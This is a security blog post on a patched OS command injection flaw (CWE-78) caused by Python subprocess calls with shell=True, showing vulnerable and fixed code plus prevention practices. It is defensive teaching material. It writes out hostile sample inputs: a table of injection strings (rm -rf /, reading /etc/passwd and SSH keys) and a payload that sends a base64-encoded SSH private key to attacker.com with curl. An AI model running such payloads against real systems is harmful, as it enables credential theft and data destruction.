Back to Blog
critical SEVERITY8 min read

Command Injection via shell=True: How One Flag Opens the Door to OS Takeover

A critical command injection vulnerability (CWE-78) was discovered and patched in the skill-creator pipeline, where Python scripts passed unsanitized user input directly to subprocess calls with `shell=True`, allowing attackers to execute arbitrary operating system commands. This fix closes a dangerous attack vector that could have enabled full system compromise, data exfiltration, and lateral movement within affected environments. Understanding how this vulnerability works — and how to prevent

O
By Orbis AppSec
Published May 9, 2026Reviewed June 3, 2026

Answer Summary

Command injection (CWE-78) in Python occurs when unsanitized user input is passed to subprocess calls with `shell=True`, allowing attackers to inject arbitrary OS commands. The skill-creator pipeline was vulnerable because it directly concatenated user input into shell commands without validation. The fix removes `shell=True` and uses a list-based argument structure, which prevents shell metacharacter interpretation and ensures user input is treated as data, not executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixRemove shell=True and use list-based argument passing with proper input validation
riskRemote Code Execution, system compromise, data exfiltration, lateral movement
languagePython
root causePassing unsanitized user input to subprocess with shell=True enabled
vulnerabilityCommand Injection via shell=True

Command Injection via shell=True: How One Flag Opens the Door to OS Takeover

Vulnerability: CWE-78 — OS Command Injection
Severity: 🔴 Critical
Affected Files: run_eval.py, improve_description.py, generate_review.py
Status: ✅ Patched


Introduction

There's a deceptively innocent-looking parameter in Python's subprocess module that has been responsible for countless critical security vulnerabilities: shell=True. When combined with user-supplied input, this single flag can transform a routine script execution into a full operating system takeover.

This post breaks down a recently patched critical vulnerability found in the skill-creator pipeline — a real-world example of how shell=True and unsanitized input create a perfect storm for command injection attacks. Whether you're a seasoned backend engineer or a developer just getting started with Python scripting, understanding this class of vulnerability is non-negotiable in today's threat landscape.


The Vulnerability Explained

What Is Command Injection?

OS Command Injection (CWE-78) occurs when an application passes user-controlled data to a system shell without proper sanitization. The shell — whether bash, sh, cmd.exe, or others — interprets special characters as control operators, not as literal data. This means an attacker can "break out" of the intended command and inject their own.

In Python, the danger zone looks like this:

# ❌ VULNERABLE: shell=True with user input
import subprocess

user_input = request.args.get("skill_name")
subprocess.Popen(f"run_eval --skill {user_input}", shell=True)

When shell=True is set, Python hands the entire string to the operating system shell for interpretation. The shell doesn't know or care which parts were "intended" by the developer — it processes everything according to its own syntax rules.

How Does the Shell Interpret Special Characters?

The OS shell recognizes a variety of characters as command operators:

Character Shell Meaning Example Attack
; Command separator skill; rm -rf /
\| Pipe output to next command skill \| curl attacker.com
&& Run next if previous succeeds skill && cat /etc/passwd
\|\| Run next if previous fails skill \|\| whoami
` Command substitution skill`id`
$() Command substitution skill$(cat ~/.ssh/id_rsa)
> Redirect output skill > /tmp/backdoor.sh

The Vulnerable Code Pattern

In the skill-creator pipeline, three scripts were identified as invoking subprocess.Popen or subprocess.run with shell=True while incorporating user-supplied CLI arguments directly into the command string:

# ❌ VULNERABLE pattern (simplified illustration)
import subprocess
import sys

skill_path = sys.argv[1]  # User-controlled input from CLI argument

# The entire string is passed to the shell — shell=True is the culprit
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE
)

This pattern appeared across:
- resources/skills/skill-creator/scripts/run_eval.py (line 85)
- resources/skills/skill-creator/scripts/improve_description.py
- resources/skills/skill-creator/eval-viewer/generate_review.py

A Concrete Attack Scenario

Let's make this tangible. Imagine a developer runs the skill evaluation pipeline and the skill_path argument is sourced from an external input — a config file, an API response, a web form, or even a crafted filename:

Normal input:

/home/user/skills/my_skill

Malicious input:

/home/user/skills/my_skill; curl -s https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa | base64) &

The shell now executes two commands:
1. python evaluate.py --input /home/user/skills/my_skill ← intended
2. curl -s https://attacker.com/exfil?data=<base64-encoded SSH private key> ← injected

In a CI/CD pipeline or automated evaluation environment, this could lead to:

  • 🔑 Credential theft — SSH keys, API tokens, environment variables
  • 🗂️ Data exfiltration — source code, model weights, proprietary datasets
  • 🚪 Backdoor installation — persistent access via reverse shells
  • 💣 Destructive actions — file deletion, service disruption
  • 🌐 Lateral movement — pivoting to other systems on the network

The impact is classified as Critical because successful exploitation grants the attacker the same OS-level privileges as the process running the script — with no authentication required beyond the ability to influence the input.


The Fix

The Core Principle: Never Use shell=True with User Input

The fix involves two complementary changes:

  1. Remove shell=True — pass commands as a list instead of a string
  2. Validate and sanitize inputs — never trust external data

Before vs. After

❌ Before (Vulnerable):

import subprocess
import sys

skill_path = sys.argv[1]

# shell=True interprets the entire string through the OS shell
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

✅ After (Fixed):

import subprocess
import sys
import shlex
import os

skill_path = sys.argv[1]

# Validate the input before use
if not os.path.exists(skill_path):
    raise ValueError(f"Invalid skill path: {skill_path}")

# Pass as a list — no shell interpretation, no injection possible
result = subprocess.Popen(
    ["python", "evaluate.py", "--input", skill_path],
    shell=False,  # explicit is better than implicit
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

Why Does the List Form Prevent Injection?

When you pass a list to subprocess.Popen (without shell=True), Python uses execvp (on Unix) or CreateProcess (on Windows) to launch the process directly. Each list element becomes a discrete argument — the OS never invokes a shell to interpret the string.

This means special characters like ;, |, and $() are passed literally to the target program as part of an argument value. They have no special meaning. The attack surface disappears entirely.

# These are equivalent in intent, but VERY different in security:

# ❌ Shell interprets the string — injection possible
subprocess.run(f"echo {user_input}", shell=True)

# ✅ OS passes arguments directly — injection impossible
subprocess.run(["echo", user_input], shell=False)

When shell=True Is Genuinely Needed

Occasionally, shell features like glob expansion (*.txt), shell built-ins (cd, export), or pipe chaining are legitimately required. In those cases:

import shlex

# shlex.quote() wraps the value in single quotes and escapes internal quotes
safe_input = shlex.quote(user_input)
subprocess.run(f"some_command {safe_input}", shell=True)

However, shlex.quote() should be considered a last resort, not a first line of defense. Eliminating shell=True is always the preferred approach.


Prevention & Best Practices

1. Default to List-Form Subprocess Calls

Make it a team convention: subprocess calls always use list arguments unless there's a documented, reviewed reason to do otherwise.

# Establish this as your team's standard pattern
subprocess.run(["command", "arg1", "arg2", user_input], check=True)

2. Validate Inputs Before Processing

Apply allowlist validation to any input that will be used in a subprocess call:

import re
import os

def validate_skill_path(path: str) -> str:
    """Validate that a skill path is safe to use."""
    # Allowlist: only alphanumerics, hyphens, underscores, slashes, dots
    if not re.match(r'^[a-zA-Z0-9/_\-\.]+$', path):
        raise ValueError(f"Skill path contains invalid characters: {path}")

    # Ensure the path exists and is within the expected directory
    abs_path = os.path.realpath(path)
    allowed_base = os.path.realpath("/app/skills")
    if not abs_path.startswith(allowed_base):
        raise ValueError("Path traversal detected")

    return abs_path

3. Apply the Principle of Least Privilege

Run scripts with the minimum permissions required. A command injection in a low-privilege process is far less damaging than one running as root or with broad cloud IAM permissions.

# Run evaluation scripts as a dedicated, restricted user
sudo -u skill-evaluator python run_eval.py --input "$SKILL_PATH"

4. Use Static Analysis Tools

Integrate security scanners into your CI/CD pipeline to catch these patterns automatically:

  • Bandit — Python-specific security linter; detects shell=True usage (rule B602, B603)
  • Semgrep — Highly customizable static analysis with rules for subprocess injection
  • CodeQL — GitHub's semantic code analysis engine
  • Safety — Checks Python dependencies for known vulnerabilities
# Example: Bandit in GitHub Actions
- name: Run Bandit Security Scan
  run: |
    pip install bandit
    bandit -r . -ll --skip B101 -f json -o bandit-report.json

5. Code Review Checklist

Add these questions to your security-focused code review checklist:

  • [ ] Does this code call subprocess with shell=True?
  • [ ] Does any subprocess argument originate from user input, environment variables, or external data sources?
  • [ ] Is input validated against an allowlist before use?
  • [ ] Does the process run with the minimum required privileges?

6. Relevant Security Standards

This vulnerability maps to well-established security standards:


Conclusion

The shell=True vulnerability pattern is a textbook example of how a single, seemingly convenient parameter can introduce catastrophic security risk. The fix is straightforward — switch from string-based to list-based subprocess calls — but the lesson runs deeper: never trust user input, and always understand the security implications of the APIs you use.

Key takeaways from this vulnerability:

  1. shell=True + user input = command injection. This is one of the most reliable rules in application security.
  2. The fix is simple but the impact of not fixing it is severe — Critical-severity vulnerabilities like this can lead to full system compromise.
  3. Defense in depth matters — Input validation, least privilege, and static analysis together create multiple layers of protection.
  4. Automated scanning catches what code review misses — Integrate tools like Bandit and Semgrep into your pipeline before code ships.

Security vulnerabilities like this one are rarely the result of malicious intent — they're the product of convenience, time pressure, and incomplete understanding of a platform's security model. The best defense is education, tooling, and a culture that treats security as a first-class concern alongside functionality and performance.

Write safe code. Review with security in mind. And when in doubt, check the docs for the security implications of every parameter you set.


This post was generated as part of an automated security fix workflow by OrbisAI Security. The vulnerability was identified by multi-agent AI scanning, patched, and verified through re-scan and LLM code review.

Have a vulnerability you'd like explained? Security education is the first line of defense.

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary operating system commands by injecting malicious input into a subprocess call. In Python, using `shell=True` makes this possible because the shell interprets special characters like `;`, `|`, `&&`, and backticks as command separators and operators.

How do you prevent command injection in Python?

Never use `shell=True` in subprocess calls with user-controlled input. Instead, pass arguments as a list to `subprocess.run()`, `subprocess.Popen()`, or similar functions. Additionally, validate and sanitize all user input using allowlists, and consider using safer alternatives like `shlex.quote()` when shell=True is absolutely necessary.

What CWE is command injection?

Command injection is classified as CWE-78: "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')". This is one of the most critical vulnerability types in the OWASP Top 10 and CWE Top 25.

Is input validation enough to prevent command injection?

Input validation alone is not sufficient if you still use `shell=True`. The most effective prevention is to avoid the shell entirely by passing arguments as a list. If shell=True is required, combine it with strict allowlist validation and `shlex.quote()` for each argument.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, Bandit, and commercial SAST solutions can detect command injection vulnerabilities by identifying subprocess calls with `shell=True` and unsanitized user input. However, detecting the data flow accurately requires sophisticated taint analysis.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #14842

Related Articles

high

How Authentication Bypass happens in PyJWT and how to fix it

A critical authentication bypass vulnerability in PyJWT 2.12.1 allowed attackers to forge valid JSON Web Tokens, potentially bypassing application authentication mechanisms entirely. The vulnerability was fixed in PyJWT 2.13.0 through security improvements to token validation logic. This fix is essential for any application relying on JWT-based authentication.

high

How unsafe pickle deserialization happens in Keras/TensorFlow notebooks and how to fix it

A high-severity untrusted deserialization vulnerability was discovered in `TransferLearningTF.ipynb`, a transfer learning tutorial notebook that loads VGG16 model weights from the internet without verifying their integrity. Because Keras relies on Python's pickle-based serialization format under the hood, a tampered or substituted weights file could execute arbitrary code with the full privileges of the notebook user. The fix adds a SHA-256 checksum verification step immediately after the weight

critical

How Chromium launch-argument injection happens in Python Crawl4AI and how to fix it

A critical unauthenticated remote code execution vulnerability in Crawl4AI 0.8.9 allowed attackers to inject arbitrary Chromium launch arguments through the `browser_config.extra_args` parameter, potentially taking full control of the host process. The fix upgrades to Crawl4AI 0.9.0 and refactors the crawler initialization in `agent/tools/crawler.py` to use the new `BrowserConfig` and `CrawlerRunConfig` APIs, which enforce proper argument validation. This change eliminates the injection surface

critical

How integer overflow in buffer size calculation happens in C++ and how to fix it

A critical integer overflow vulnerability was discovered in OpenCV's HAL filter implementation where multiplying image dimensions without overflow protection could allocate dangerously undersized buffers. An attacker supplying crafted image dimensions (e.g., 65536×65536) could trigger heap corruption through out-of-bounds writes. The fix promotes the calculation to 64-bit arithmetic with a single cast.

critical

How buffer overflow via strcpy() happens in C zlib and how to fix it

A critical buffer overflow vulnerability was discovered in `general/libzlib/gzlib.c` where multiple `strcpy()` and `strcat()` calls operated without bounds checking. An attacker controlling file paths or error messages could overflow destination buffers, potentially achieving arbitrary code execution. The fix replaces these unsafe string operations with bounded `memcpy()` calls that respect pre-calculated buffer lengths.

critical

How hardcoded API key placeholders in documentation happen in Python and how to fix it

A high-severity security issue was discovered in the Context7 API documentation where a hardcoded API key placeholder (`CONTEXT7_API_KEY`) could be copied directly into production code. The fix replaced the static string with a proper environment variable reference using `os.environ`, preventing developers from accidentally deploying exposed credentials.